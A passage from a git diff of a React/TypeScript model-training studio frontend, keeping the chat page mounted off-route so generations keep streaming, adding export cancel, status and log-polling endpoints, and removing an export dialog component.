@@ -729,14 +743,18 @@ const GeneralCompareContent = memo(function GeneralCompareContent({
     <CompareShell
       handlesRef={handlesRef}
       composer={
-        <SharedComposer
-          handlesRef={handlesRef}
-          model1={model1}
-          model2={model2}
-          onExitCompare={onExitCompare}
-          model1ThreadId={model1ThreadId}
-          model2ThreadId={model2ThreadId}
-        />
+        active ? (
+          <SharedComposer
+            handlesRef={handlesRef}
+            model1={model1}
+            model2={model2}
+            onExitCompare={onExitCompare}
+            model1ThreadId={model1ThreadId}
+            model2ThreadId={model2ThreadId}
+          />
+        ) : (
+          <></>
+        )
       }
     >
       <>
@@ -1020,11 +1038,31 @@ function ProjectLanding({
   );
 }
 
-export function ChatPage(): ReactElement {
-  const search = useSearch({ from: "/chat" });
+export type ChatSearch = {
+  thread?: string;
+  compare?: string;
+  new?: string;
+  project?: string;
+};
+
+export function validateChatSearch(search: Record<string, unknown>): ChatSearch {
+  return {
+    thread: typeof search.thread === "string" ? search.thread : undefined,
+    compare: typeof search.compare === "string" ? search.compare : undefined,
+    new: typeof search.new === "string" ? search.new : undefined,
+    project: typeof search.project === "string" ? search.project : undefined,
+  };
+}
+
+// `search` comes from RootLayout (not useSearch) so ChatPage stays mounted off-route
+// (keeping an in-flight generation alive), frozen to the last /chat search. `active`
+// is false off-route: close body-portaled surfaces and stop route-specific listeners
+// that would otherwise bleed over the visible tab.
+export function ChatPage({
+  search,
+  active,
+}: { search: ChatSearch; active: boolean }): ReactElement {
   const navigate = useNavigate();
-  const pathname = useRouterState({ select: (s) => s.location.pathname });
-  const isCurrentChatRoute = pathname.startsWith("/chat");
 
   const settingsOpen = useChatRuntimeStore((s) => s.settingsPanelOpen);
   const setSettingsOpen = useChatRuntimeStore((s) => s.setSettingsPanelOpen);
@@ -1081,6 +1119,9 @@ export function ChatPage(): ReactElement {
   }, [hydratePersistedSettings]);
 
   useEffect(() => {
+    // Skip while off-route: ChatPage stays mounted, and toast+navigate here would
+    // yank the user back to chat from whatever tab they're on.
+    if (!active) return;
     const threadId = search.thread;
     if (!threadId) return;
 
@@ -1109,7 +1150,7 @@ export function ChatPage(): ReactElement {
     return () => {
       canceled = true;
     };
-  }, [navigate, search.thread]);
+  }, [active, navigate, search.thread]);
 
   const [modelSelectorOpen, setModelSelectorOpen] = useState(false);
   const [modelSelectorLocked, setModelSelectorLocked] = useState(false);
@@ -1621,7 +1662,7 @@ export function ChatPage(): ReactElement {
     onAutoLoad: handleNativeModelPickerAutoLoad,
   });
   const nativeModelDropState = useNativeModelDrop({
-    enabled: view.mode === "single",
+    enabled: active && view.mode === "single",
     nativePathLeasesSupported,
     hasActiveModel,
     isModelLoading: Boolean(loadingModel) || modelLoading,
@@ -2077,6 +2118,9 @@ export function ChatPage(): ReactElement {
   }, [refresh, refreshLocalModels]);
 
   useEffect(() => {
+    // ChatPage no longer remounts on navigation, so re-check the handoff whenever
+    // we return to /chat (e.g. from the training progress "compare in chat" action).
+    if (!active) return;
     const handoff = getTrainingCompareHandoff();
     if (!handoff) return;
     console.info("[chat-handoff] received", handoff);
@@ -2138,7 +2182,7 @@ export function ChatPage(): ReactElement {
     return () => {
       canceled = true;
     };
-  }, []);
+  }, [active, navigate]);
 
   const tourSteps = useMemo(
     () =>
@@ -2183,15 +2227,14 @@ export function ChatPage(): ReactElement {
       (view.mode === "compare" || artifactSurface === "overlay"),
   );
 
-  if (!isCurrentChatRoute) {
-    return (
-      <div className="flex min-h-0 min-w-0 flex-1 basis-0 bg-background" />
-    );
-  }
-
   return (
+    // Provides `active` to ChatRuntimeProvider (drops the message views/composers
+    // while off-route, keeping the runtime alive) and to the compare chrome.
+    <ChatActiveContext.Provider value={active}>
     <div className="flex min-h-0 min-w-0 flex-1 basis-0 bg-background overflow-hidden">
-      <GuidedTour {...tour.tourProps} />
+      {/* Portaled surfaces render to document.body, escaping the parent's hidden
+          wrapper, so gate them on `active` to keep them off other tabs. */}
+      {active && <GuidedTour {...tour.tourProps} />}
       <div className="relative flex min-h-0 min-w-0 flex-1 basis-0 flex-col overflow-hidden">
         <NativeModelDropOverlay state={nativeModelDropState} />
         {/* Fade under the top bar so messages dissolve as they scroll
@@ -2227,7 +2270,7 @@ export function ChatPage(): ReactElement {
                 onModelsChange={refreshModelLists}
                 deleteDisabled={modelOperationInProgress}
                 variant="ghost"
-                open={modelSelectorOpen}
+                open={active && modelSelectorOpen}
                 onOpenChange={handleModelSelectorOpenChange}
                 triggerDataTour="chat-model-selector"
                 contentDataTour="chat-model-selector-popover"
@@ -2378,8 +2421,14 @@ export function ChatPage(): ReactElement {
             items={currentProjectItems}
           />
         ) : view.mode === "single" ? (
+          // Keyed by project only (not thread / new-chat nonce) so switching threads or
+          // starting a New Chat reuses the same provider and switches in place. This keeps
+          // an in-flight generation streaming in the background (assistant-ui keeps every
+          // alive thread's runtime mounted) instead of remounting the provider and cutting
+          // it off; returning to that thread reattaches the live run rather than reloading
+          // a half-saved one.
           <SingleContent
-            key={view.threadId ?? view.newThreadNonce ?? "single"}
+            key={view.projectId ?? "single"}
             threadId={view.threadId}
             newThreadNonce={view.newThreadNonce}
             projectId={view.projectId}
@@ -2402,7 +2451,7 @@ export function ChatPage(): ReactElement {
           />
         )}
 
-        {showArtifactOverlay && selectedArtifact ? (
+        {active && showArtifactOverlay && selectedArtifact ? (
           <ArtifactSurface
             artifact={selectedArtifact}
             variant="overlay"
@@ -2412,7 +2461,7 @@ export function ChatPage(): ReactElement {
       </div>
 
       <ChatSettingsPanel
-        open={settingsOpen}
+        open={active && settingsOpen}
         onOpenChange={(open) => {
           setSettingsOpen(open);
           // Closing the sheet abandons a staged (not-yet-loaded) pick: cancel its
@@ -2488,5 +2537,6 @@ export function ChatPage(): ReactElement {
         }
       />
     </div>
+    </ChatActiveContext.Provider>
   );
 }
diff --git a/studio/frontend/src/features/chat/components/project-switcher.tsx b/studio/frontend/src/features/chat/components/project-switcher.tsx
index df0d51f606..e17a1d139e 100644
--- a/studio/frontend/src/features/chat/components/project-switcher.tsx
+++ b/studio/frontend/src/features/chat/components/project-switcher.tsx
@@ -12,7 +12,8 @@ import { Folder01Icon } from "@hugeicons/core-free-icons";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import type { ReactElement } from "react";
+import { type ReactElement, useState } from "react";
+import { useChatActive } from "../runtime-provider";
 import type { ProjectRecord } from "../types";
 
 export function ProjectSwitcher({
@@ -32,8 +33,12 @@ export function ProjectSwitcher({
   const showEmptyRow = !isLoading && projects.length === 0;
   const label = currentProject?.name ?? (isLoading ? "Project" : "Projects");
 
+  // Controlled so the body-portaled dropdown can't linger over another tab off-route.
+  const active = useChatActive();
+  const [open, setOpen] = useState(false);
+
   return (
-    <DropdownMenu>
+    <DropdownMenu open={active && open} onOpenChange={(o) => setOpen(active && o)}>
       <DropdownMenuTrigger asChild={true}>
         <button
           type="button"
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
index 7bb8d71a71..7777fdb7e9 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
@@ -513,11 +513,26 @@ export function useChatModelRuntime() {
             const validateNativePathLease = nativePathToken
               ? (await consumeNativePathToken(nativePathToken, "validate-model")).nativePathLease
               : undefined;
+            // Validate with the same effective context /load uses: a GGUF native
+            // context can exceed maxSeqLength, so sizing on raw maxSeqLength could
+            // pass, unload, then have /load refuse it. Read pre-unload state; load
+            // recomputes its own value, so this leaves loading untouched.
+            const preUnloadState = useChatRuntimeStore.getState();
+            const validateMaxSeqLength = resolveLoadMaxSeqLength({
+              modelId,
+              ggufVariant,
+              customContextLength: preUnloadState.customContextLength,
+              ggufContextLength: preUnloadState.ggufContextLength,
+              currentCheckpoint,
+              activeGgufVariant: preUnloadState.activeGgufVariant,
+              maxSeqLength,
+              presetSource: preUnloadState.activePresetSource,
+            });
             const validation = await validateModel({
               model_path: modelId,
               nativePathLease: validateNativePathLease,
               hf_token: hfToken,
-              max_seq_length: maxSeqLength,
+              max_seq_length: validateMaxSeqLength,
               load_in_4bit: true,
               is_lora: isLora,
               gguf_variant: ggufVariant ?? null,
diff --git a/studio/frontend/src/features/chat/index.ts b/studio/frontend/src/features/chat/index.ts
index dec5f40505..75749b0040 100644
--- a/studio/frontend/src/features/chat/index.ts
+++ b/studio/frontend/src/features/chat/index.ts
@@ -1,7 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-export { ChatPage } from "./chat-page";
+export { ChatPage, validateChatSearch, type ChatSearch } from "./chat-page";
 export {
   getInferenceStatus,
   listGgufVariants,
diff --git a/studio/frontend/src/features/chat/runtime-provider.tsx b/studio/frontend/src/features/chat/runtime-provider.tsx
index 3de3ef6dab..d08d5ef6af 100644
--- a/studio/frontend/src/features/chat/runtime-provider.tsx
+++ b/studio/frontend/src/features/chat/runtime-provider.tsx
@@ -26,7 +26,9 @@ import mammoth from "mammoth";
 import {
   type ReactElement,
   type ReactNode,
+  createContext,
   useCallback,
+  useContext,
   useEffect,
   useMemo,
   useRef,
@@ -1271,6 +1273,15 @@ function ThreadBackendAutosave({
   return null;
 }
 
+// True when the chat tab is visible. While false, ChatPage stays mounted (runtime +
+// autosave alive, so the stream survives) but its views/composers unmount, so no
+// body-portaled surface bleeds over the active tab. Defaults true for use elsewhere.
+export const ChatActiveContext = createContext(true);
+
+export function useChatActive(): boolean {
+  return useContext(ChatActiveContext);
+}
+
 export function ChatRuntimeProvider({
   children,
   modelType = "base",
@@ -1319,6 +1330,9 @@ export function ChatRuntimeProvider({
       {!initialThreadId && newThreadNonce && (
         <ThreadNewChatSwitch nonce={newThreadNonce} />
       )}
+      {/* The view stays mounted (only CSS-hidden by RootLayout) while off-route
+          so assistant-ui keeps the run attached and the stream alive. Unmounting
+          it here aborts the in-flight generation. */}
       {children}
     </AssistantRuntimeProvider>
   );
diff --git a/studio/frontend/src/features/export/anim.ts b/studio/frontend/src/features/export/anim.ts
deleted file mode 100644
index e313dc1a6e..0000000000
--- a/studio/frontend/src/features/export/anim.ts
+++ /dev/null
@@ -1,9 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-export const collapseAnim = {
-  initial: { height: 0, opacity: 0 },
-  animate: { height: "auto" as const, opacity: 1 },
-  exit: { height: 0, opacity: 0 },
-  transition: { duration: 0.3, ease: [0.25, 0.1, 0.25, 1] as const },
-};
diff --git a/studio/frontend/src/features/export/api/export-api.ts b/studio/frontend/src/features/export/api/export-api.ts
index 5cd944e67b..659dd44f88 100644
--- a/studio/frontend/src/features/export/api/export-api.ts
+++ b/studio/frontend/src/features/export/api/export-api.ts
@@ -6,13 +6,45 @@ import { readFastApiError } from "@/lib/format-fastapi-error";
 
 const readError = (r: Response): Promise<string> => readFastApiError(r);
 
+/**
+ * Error from an export request that preserves the HTTP status, so callers can
+ * tell an authoritative backend rejection (4xx) from a transport timeout that
+ * the long export may survive (e.g. Cloudflare's 524 over a quick tunnel).
+ */
+export class ExportRequestError extends Error {
+  status: number | null;
+  constructor(message: string, status: number | null) {
+    super(message);
+    this.name = "ExportRequestError";
+    this.status = status;
+  }
+}
+
 async function parseJson<T>(response: Response): Promise<T> {
   if (!response.ok) {
-    throw new Error(await readError(response));
+    throw new ExportRequestError(await readError(response), response.status);
   }
   return (await response.json()) as T;
 }
 
+/**
+ * Whether an error from an export POST is a recoverable transport failure (the
+ * backend op may still be running and may still succeed) rather than an
+ * authoritative rejection. A Cloudflare quick tunnel returns 524 (and friends
+ * 520/522/523) when a request runs past ~100s; a dropped connection surfaces as
+ * a status-less network error from authFetch. Real 4xx (400/404/409/422) are
+ * the backend saying no and must fail immediately.
+ */
+export function isRecoverableTransportError(err: unknown): boolean {
+  if (err instanceof ExportRequestError) {
+    // 502/503/504 gateway + 520/522/523/524 Cloudflare timeouts are recoverable.
+    return typeof err.status === "number" ? err.status >= 502 : true;
+  }
+  // No HTTP status at all (authFetch threw on a fetch TypeError = network drop /
+  // backend unreachable): indeterminate, so recover by polling status.
+  return err instanceof Error;
+}
+
 export interface CheckpointInfo {
   display_name: string;
   path: string;
@@ -159,6 +191,43 @@ export async function cleanupExport(): Promise<ExportOperationResponse> {
   return parseJson<ExportOperationResponse>(response);
 }
 
+/**
+ * Cancel the in-flight export by terminating its worker subprocess. Training
+ * and inference are left running. Always resolves (best-effort) so callers can
+ * fire it without guarding for a missing active run.
+ */
+export async function cancelExport(): Promise<ExportOperationResponse> {
+  const response = await authFetch("/api/export/cancel", { method: "POST" });
+  return parseJson<ExportOperationResponse>(response);
+}
+
+export interface ExportStatus {
+  current_checkpoint: string | null;
+  is_vision: boolean;
+  is_peft: boolean;
+  /** True while a load / export / cleanup operation is running on the backend. */
+  is_export_active: boolean;
+  /** Kind of the currently running op (load_checkpoint / export_* / cleanup). */
+  active_op_kind?: string | null;
+  /** Monotonic counter of finished ops; baseline to detect "my op finished". */
+  last_op_seq?: number;
+  last_op_kind?: string | null;
+  /** Outcome of the most recently finished op. */
+  last_op_status?: "success" | "error" | "cancelled" | null;
+  last_op_output_path?: string | null;
+  last_op_error?: string | null;
+}
+
+/**
+ * Snapshot of the export backend, used to hydrate the runtime store on mount /
+ * page reload so a still-running export (started in another tab, or before a
+ * refresh) is reflected even though the in-memory store reset.
+ */
+export async function getExportStatus(): Promise<ExportStatus> {
+  const response = await authFetch("/api/export/status");
+  return parseJson<ExportStatus>(response);
+}
+
 // ─────────────────────────────────────────────────────────────────────
 // Live export log stream (Server-Sent Events)
 // ─────────────────────────────────────────────────────────────────────
@@ -171,6 +240,37 @@ export interface ExportLogEntry {
   ts: number | null;
 }
 
+/** A log line from the JSON poll endpoint, carrying its ring-buffer seq. */
+export interface ExportLogPollEntry extends ExportLogEntry {
+  seq: number;
+}
+
+export interface ExportLogsResponse {
+  entries: ExportLogPollEntry[];
+  /** Highest seq returned; pass back as `since` on the next poll. */
+  cursor: number;
+  /** True while a load / export / cleanup op is running on the backend. */
+  active: boolean;
+}
+
+/**
+ * Tunnel-safe JSON fallback for {@link streamExportLogs}. Cloudflare quick
+ * tunnels (`--secure` mode) buffer `text/event-stream`, so the SSE stream
+ * delivers nothing until it closes; this plain-JSON poll is never buffered and
+ * carries the same ring-buffer lines. Poll it while a run is active and merge
+ * the entries into the store (de-duped by seq), so logs appear over the tunnel.
+ */
+export async function fetchExportLogs(
+  since: number | null,
+): Promise<ExportLogsResponse> {
+  const url =
+    typeof since === "number"
+      ? `/api/export/logs?since=${since}`
+      : "/api/export/logs";
+  const response = await authFetch(url);
+  return parseJson<ExportLogsResponse>(response);
+}
+
 export type ExportLogEventName = "log" | "heartbeat" | "complete" | "error";
 
 export interface ExportLogEvent {
diff --git a/studio/frontend/src/features/export/components/export-dialog.tsx b/studio/frontend/src/features/export/components/export-dialog.tsx
deleted file mode 100644
index c366f0cdeb..0000000000
--- a/studio/frontend/src/features/export/components/export-dialog.tsx
+++ /dev/null
@@ -1,694 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-import { Button } from "@/components/ui/button";
-import { FolderBrowser } from "@/components/assistant-ui/model-selector/folder-browser";
-import {
-  Dialog,
-  DialogContent,
-  DialogDescription,
-  DialogFooter,
-  DialogHeader,
-  DialogTitle,
-} from "@/components/ui/dialog";
-import { Input } from "@/components/ui/input";
-import {
-  InputGroup,
-  InputGroupAddon,
-  InputGroupInput,
-} from "@/components/ui/input-group";
-import { Spinner } from "@/components/ui/spinner";
-import { Switch } from "@/components/ui/switch";
-import {
-  Tooltip,
-  TooltipContent,
-  TooltipTrigger,
-} from "@/components/ui/tooltip";
-import { AlertCircleIcon, ArrowRight01Icon, CheckmarkCircle02Icon, FolderSearchIcon, Key01Icon } from "@hugeicons/core-free-icons";
-import { HugeiconsIcon } from "@hugeicons/react";
-import { AnimatePresence, motion } from "motion/react";
-import { useEffect, useRef, useState } from "react";
-import { streamExportLogs, type ExportLogEntry } from "../api/export-api";
-import { collapseAnim } from "../anim";
-import { EXPORT_METHODS, type ExportMethod } from "../constants";
-
-// Max log lines kept in local state. Matches the backend ring buffer's maxlen
-// so the UI shows the full server-side scrollback.
-const MAX_LOG_LINES = 4000;
-
-interface UseExportLogsResult {
-  lines: ExportLogEntry[];
-  connected: boolean;
-  error: string | null;
-}
-
-/**
- * Subscribe to the live export log SSE stream while `exporting` is true and
- * accumulate lines. Prior-action lines are cleared when a new export starts and
- * when the user switches method / reopens / closes the dialog, so reopening
- * into a different action doesn't show stale output.
- */
-function useExportLogs(
-  exporting: boolean,
-  exportMethod: ExportMethod | null,
-  open: boolean,
-): UseExportLogsResult {
-  const [lines, setLines] = useState<ExportLogEntry[]>([]);
-  const [connected, setConnected] = useState(false);
-  const [error, setError] = useState<string | null>(null);
-
-  // Reset log state on screen change (method switch or dialog reopen) so each
-  // (open × method) shows only its own run history. The streaming effect below
-  // additionally clears on new export start.
-  useEffect(() => {
-    setLines([]);
-    setError(null);
-    setConnected(false);
-  }, [exportMethod, open]);
-
-  useEffect(() => {
-    if (!exporting) return;
-
-    setLines([]);
-    setError(null);
-
-    const abortCtrl = new AbortController();
-    let cancelled = false;
-    // Highest seq seen on a `log` event, to resume via `since=` / Last-Event-ID
-    // after a drop. The backend's SSE `id:` field carries this as ExportLogEvent.id.
-    let lastSeq: number | null = null;
-    // Capped exponential backoff with jitter; reset on each successful connect
-    // so flaky networks don't accumulate delay.
-    let backoffMs = 500;
-    const MAX_BACKOFF_MS = 5000;
-    // Set by a terminal event (backend `complete` or a non-retryable error) to
-    // stop the reconnect loop even while `exporting` is still true.
-    let terminated = false;
-
-    const run = async () => {
-      while (!cancelled && !terminated) {
-        try {
-          await streamExportLogs({
-            signal: abortCtrl.signal,
-            since: lastSeq,
-            onOpen: () => {
-              if (cancelled) return;
-              setConnected(true);
-              // Reset backoff on every successful connect so later
-              // drops don't inherit accumulated delay from earlier ones.
-              backoffMs = 500;
-            },
-            onEvent: (event) => {
-              if (cancelled) return;
-              if (event.event === "log" && event.entry) {
-                if (typeof event.id === "number") {
-                  lastSeq = event.id;
-                }
-                const entry = event.entry;
-                setLines((prev) => {
-                  const next = prev.length >= MAX_LOG_LINES
-                    ? prev.slice(prev.length - MAX_LOG_LINES + 1)
-                    : prev.slice();
-                  next.push(entry);
-                  return next;
-                });
-              } else if (event.event === "complete") {
-                // Run fully drained -- stop reconnecting even if `exporting`
-                // hasn't flipped false yet on this tick.
-                terminated = true;
-              } else if (event.event === "error" && event.error) {
-                setError(event.error);
-              }
-            },
-          });
-        } catch (err: unknown) {
-          if (cancelled) return;
-          if (err instanceof DOMException && err.name === "AbortError") return;
-          setError(err instanceof Error ? err.message : String(err));
-          // Fall through to backoff; a fetch-level failure retries like a clean EOF.
-        }
-
-        setConnected(false);
-        if (cancelled || terminated) return;
-
-        // Exponential backoff with jitter before reconnecting. Ring buffer +
-        // Last-Event-ID resume means no lines lost across the retry as long as
-        // the reconnect lands within the buffer's lifetime (~4000 lines).
-        const delay = backoffMs + Math.floor(Math.random() * 250);
-        backoffMs = Math.min(backoffMs * 2, MAX_BACKOFF_MS);
-        try {
-          await new Promise<void>((resolve, reject) => {
-            if (abortCtrl.signal.aborted) {
-              reject(new DOMException("Aborted", "AbortError"));
-              return;
-            }
-            const timeoutId = window.setTimeout(resolve, delay);
-            abortCtrl.signal.addEventListener(
-              "abort",
-              () => {
-                window.clearTimeout(timeoutId);
-                reject(new DOMException("Aborted", "AbortError"));
-              },
-              { once: true },
-            );
-          });
-        } catch {
-          return;
-        }
-      }
-    };
-
-    // run() handles every failure path; swallow stragglers so React's dev
-    // overlay doesn't flag an unhandled rejection on dialog close.
-    void run().catch(() => {});
-
-    return () => {
-      cancelled = true;
-      abortCtrl.abort();
-      setConnected(false);
-    };
-  }, [exporting]);
-
-  return { lines, connected, error };
-}
-
-/**
- * Tick every second while `exporting` is true and report elapsed seconds.
- * Powers the "Working… 27s" badge so the panel doesn't look frozen during long
- * single-step phases (cache copy, GGUF conversion) with no new lines.
- */
-function useElapsedSeconds(exporting: boolean): number {
-  const [elapsed, setElapsed] = useState(0);
-  useEffect(() => {
-    if (!exporting) {
-      setElapsed(0);
-      return;
-    }
-    const startedAt = Date.now();
-    setElapsed(0);
-    const id = window.setInterval(() => {
-      setElapsed(Math.floor((Date.now() - startedAt) / 1000));
-    }, 1000);
-    return () => window.clearInterval(id);
-  }, [exporting]);
-  return elapsed;
-}
-
-function formatElapsed(seconds: number): string {
-  if (seconds < 60) return `${seconds}s`;
-  const m = Math.floor(seconds / 60);
-  const s = seconds % 60;
-  return `${m}m ${s.toString().padStart(2, "0")}s`;
-}
-
-function formatLogLine(entry: ExportLogEntry): string {
-  // Strip trailing CRs from tqdm-style progress so scrollback doesn't render boxes.
-  return entry.line.replace(/\r+$/g, "");
-}
-
-function isAbsoluteFolderPath(path: string): boolean {
-  return path.startsWith("/") || /^[A-Za-z]:([\\/]|$)/.test(path) || /^\\\\/.test(path);
-}
-
-type Destination = "local" | "hub";
-
-interface ExportDialogProps {
-  open: boolean;
-  onOpenChange: (open: boolean) => void;
-  checkpoint: string | null;
-  exportMethod: ExportMethod | null;
-  quantLevels: string[];
-  estimatedSize: string;
-  baseModelName: string;
-  isAdapter: boolean;
-  destination: Destination;
-  onDestinationChange: (v: Destination) => void;
-  saveDirectory: string;
-  defaultSaveDirectory: string;
-  saveDirectoryOverridden: boolean;
-  onSaveDirectoryChange: (v: string | null) => void;
-  hfUsername: string;
-  onHfUsernameChange: (v: string) => void;
-  modelName: string;
-  onModelNameChange: (v: string) => void;
-  hfToken: string;
-  onHfTokenChange: (v: string) => void;
-  privateRepo: boolean;
-  onPrivateRepoChange: (v: boolean) => void;
-  onExport: () => void;
-  exporting: boolean;
-  exportError: string | null;
-  exportSuccess: boolean;
-  /**
-   * Resolved on-disk realpath of the latest successful export, shown on the
-   * Export Complete screen. Null when the export only pushed to the Hub.
-   */
-  exportOutputPath: string | null;
-}
-
-export function ExportDialog({
-  open,
-  onOpenChange,
-  checkpoint,
-  exportMethod,
-  quantLevels,
-  estimatedSize,
-  baseModelName,
-  isAdapter,
-  destination,
-  onDestinationChange,
-  saveDirectory,
-  defaultSaveDirectory,
-  saveDirectoryOverridden,
-  onSaveDirectoryChange,
-  hfUsername,
-  onHfUsernameChange,
-  modelName,
-  onModelNameChange,
-  hfToken,
-  onHfTokenChange,
-  privateRepo,
-  onPrivateRepoChange,
-  onExport,
-  exporting,
-  exportError,
-  exportSuccess,
-  exportOutputPath,
-}: ExportDialogProps) {
-  // Live log capture applies to any backend-worker export path, incl. LoRA-only.
-  const showLogPanel =
-    exportMethod === "merged" ||
-    exportMethod === "gguf" ||
-    exportMethod === "lora";
-  const showCompletionScreen = exportSuccess && !showLogPanel;
-  const [folderBrowserOpen, setFolderBrowserOpen] = useState(false);
-
-  const { lines: logLines, connected: logConnected, error: logError } =
-    useExportLogs(exporting && showLogPanel, exportMethod, open);
-  const elapsedSeconds = useElapsedSeconds(exporting && showLogPanel);
-
-  const logScrollRef = useRef<HTMLDivElement | null>(null);
-  // Auto-scroll to bottom on each new line, unless the user scrolled up.
-  const [followTail, setFollowTail] = useState(true);
-
-  useEffect(() => {
-    if (!followTail) return;
-    const el = logScrollRef.current;
-    if (el) el.scrollTop = el.scrollHeight;
-  }, [logLines, followTail]);
-
-  const handleLogScroll = () => {
-    const el = logScrollRef.current;
-    if (!el) return;
-    const nearBottom =
-      el.scrollHeight - el.scrollTop - el.clientHeight < 24;
-    setFollowTail(nearBottom);
-  };
-
-  return (
-    <>
-      <Dialog
-        open={open}
-        onOpenChange={(v) => {
-          if (exporting) return;
-          onOpenChange(v);
-        }}
-      >
-        <DialogContent
-          className={showLogPanel ? "sm:max-w-2xl" : "sm:max-w-lg"}
-          onInteractOutside={(e) => { if (exporting) e.preventDefault(); }}
-        >
-        {showCompletionScreen ? (
-          <>
-            <div className="flex flex-col items-center gap-3 py-6">
-              <div className="flex size-12 items-center justify-center rounded-full bg-emerald-500/10">
-                <HugeiconsIcon icon={CheckmarkCircle02Icon} className="size-6 text-emerald-500" />
-              </div>
-              <div className="flex flex-col items-center gap-2 text-center">
-                <h3 className="text-lg font-semibold">Export Complete</h3>
-                <p className="text-sm text-muted-foreground">
-                  {destination === "hub"
-                    ? "Model successfully pushed to Hugging Face Hub."
-                    : "Model saved locally."}
-                </p>
-                {exportOutputPath ? (
-                  <div className="mt-1 flex w-full max-w-md flex-col items-stretch gap-1 rounded-lg border border-border/40 bg-muted/40 px-3 py-2 text-left">
-                    <span className="text-[11px] font-medium uppercase tracking-wide text-muted-foreground">
-                      Saved to
-                    </span>
-                    <code
-                      className="select-all break-all font-mono text-[12px] text-foreground"
-                      title={exportOutputPath}
-                    >
-                      {exportOutputPath}
-                    </code>
-                  </div>
-                ) : null}
-              </div>
-            </div>
-            <DialogFooter>
-              <Button onClick={() => onOpenChange(false)}>Done</Button>
-            </DialogFooter>
-          </>
-        ) : (
-          <>
-            <DialogHeader>
-              <DialogTitle>Export Model</DialogTitle>
-              <DialogDescription>
-                Choose where to save your exported model.
-              </DialogDescription>
-            </DialogHeader>
-
-            <div className="flex gap-2">
-              <Button
-                variant={destination === "local" ? "dark" : "outline"}
-                onClick={() => onDestinationChange("local")}
-                disabled={exporting}
-                className="flex-1"
-              >
-                Save Locally
-              </Button>
-              <Button
-                variant={destination === "hub" ? "dark" : "outline"}
-                onClick={() => onDestinationChange("hub")}
-                disabled={exporting}
-                className="flex-1"
-              >
-                Push to Hub
-              </Button>
-            </div>
-
-            {destination === "local" && (
-              <div className="flex flex-col gap-1.5">
-                <div className="flex items-center justify-between gap-2">
-                  <label className="text-xs font-medium text-muted-foreground">
-                    Save folder
-                  </label>
-                  {saveDirectoryOverridden && (
-                    <Button
-                      type="button"
-                      variant="ghost"
-                      size="xs"
-                      onClick={() => onSaveDirectoryChange(null)}
-                      disabled={exporting}
-                    >
-                      Use default
-                    </Button>
-                  )}
-                </div>
-                <div className="flex items-stretch gap-2">
-                  <Input
-                    className="min-w-0 flex-1 font-mono text-[12px]"
-                    value={saveDirectory}
-                    onChange={(e) => onSaveDirectoryChange(e.target.value)}
-                    disabled={exporting}
-                    spellCheck={false}
-                    title={saveDirectory}
-                    placeholder={defaultSaveDirectory}
-                  />
-                  <Tooltip>
-                    <TooltipTrigger asChild={true}>
-                      <Button
-                        type="button"
-                        variant="outline"
-                        size="icon"
-                        onClick={() => setFolderBrowserOpen(true)}
-                        disabled={exporting}
-                        aria-label="Browse save folder"
-                      >
-                        <HugeiconsIcon icon={FolderSearchIcon} className="size-4" />
-                      </Button>
-                    </TooltipTrigger>
-                    <TooltipContent>
-                      Browse
-                    </TooltipContent>
-                  </Tooltip>
-                </div>
-                <p className="text-[11px] text-muted-foreground/70">
-                  {saveDirectory !== defaultSaveDirectory ? (
-                    <>
-                      Default: {defaultSaveDirectory}
-                    </>
-                  ) : (
-                    <>
-                      Paste an absolute path if the folder browser cannot reach the drive.
-                    </>
-                  )}
-                </p>
-              </div>
-            )}
-
-            <AnimatePresence>
-              {destination === "hub" && (
-                <motion.div {...collapseAnim} className="overflow-hidden">
-                  <div className="flex flex-col gap-4 px-0.5">
-                    <div className="grid grid-cols-2 gap-3">
-                      <div className="flex flex-col gap-1.5">
-                        <label className="text-xs font-medium text-muted-foreground">
-                          Username / Org
-                        </label>
-                        <Input
-                          placeholder="your-username"
-                          value={hfUsername}
-                          onChange={(e) => onHfUsernameChange(e.target.value)}
-                          disabled={exporting}
-                        />
-                      </div>
-                      <div className="flex flex-col gap-1.5">
-                        <label className="text-xs font-medium text-muted-foreground">
-                          Model Name
-                        </label>
-                        <Input
-                          placeholder="my-model-gguf"
-                          value={modelName}
-                          onChange={(e) => onModelNameChange(e.target.value)}
-                          disabled={exporting}
-                        />
-                      </div>
-                    </div>
-
-                    <div className="flex flex-col gap-1.5">
-                      <div className="flex items-center justify-between">
-                        <label className="text-xs font-medium text-muted-foreground">
-                          HF Write Token
-                        </label>
-                        <a
-                          href="https://huggingface.co/settings/tokens"
-                          target="_blank"
-                          rel="noopener noreferrer"
-                          className="flex items-center gap-1 text-[11px] text-emerald-600 hover:text-emerald-700 transition-colors"
-                        >
-                          Get token
-                          <HugeiconsIcon
-                            icon={ArrowRight01Icon}
-                            className="size-3"
-                          />
-                        </a>
-                      </div>
-                      <InputGroup>
-                        <InputGroupAddon>
-                          <HugeiconsIcon icon={Key01Icon} className="size-4" />
-                        </InputGroupAddon>
-                        <InputGroupInput
-                          type="password"
-                          autoComplete="new-password"
-                          name="hf-token"
-                          placeholder="hf_..."
-                          value={hfToken}
-                          onChange={(e) => onHfTokenChange(e.target.value)}
-                          disabled={exporting}
-                        />
-                      </InputGroup>
-                      <p className="text-[11px] text-muted-foreground/70">
-                        Leave empty if already logged in via CLI.
-                      </p>
-                    </div>
-
-                    <div className="flex items-center gap-3">
-                      <Switch
-                        id="private-repo"
-                        size="sm"
-                        checked={privateRepo}
-                        onCheckedChange={onPrivateRepoChange}
-                        disabled={exporting}
-                      />
-                      <label
-                        htmlFor="private-repo"
-                        className="text-xs font-medium cursor-pointer"
-                      >
-                        Private Repository
-                      </label>
-                    </div>
-                  </div>
-                </motion.div>
-              )}
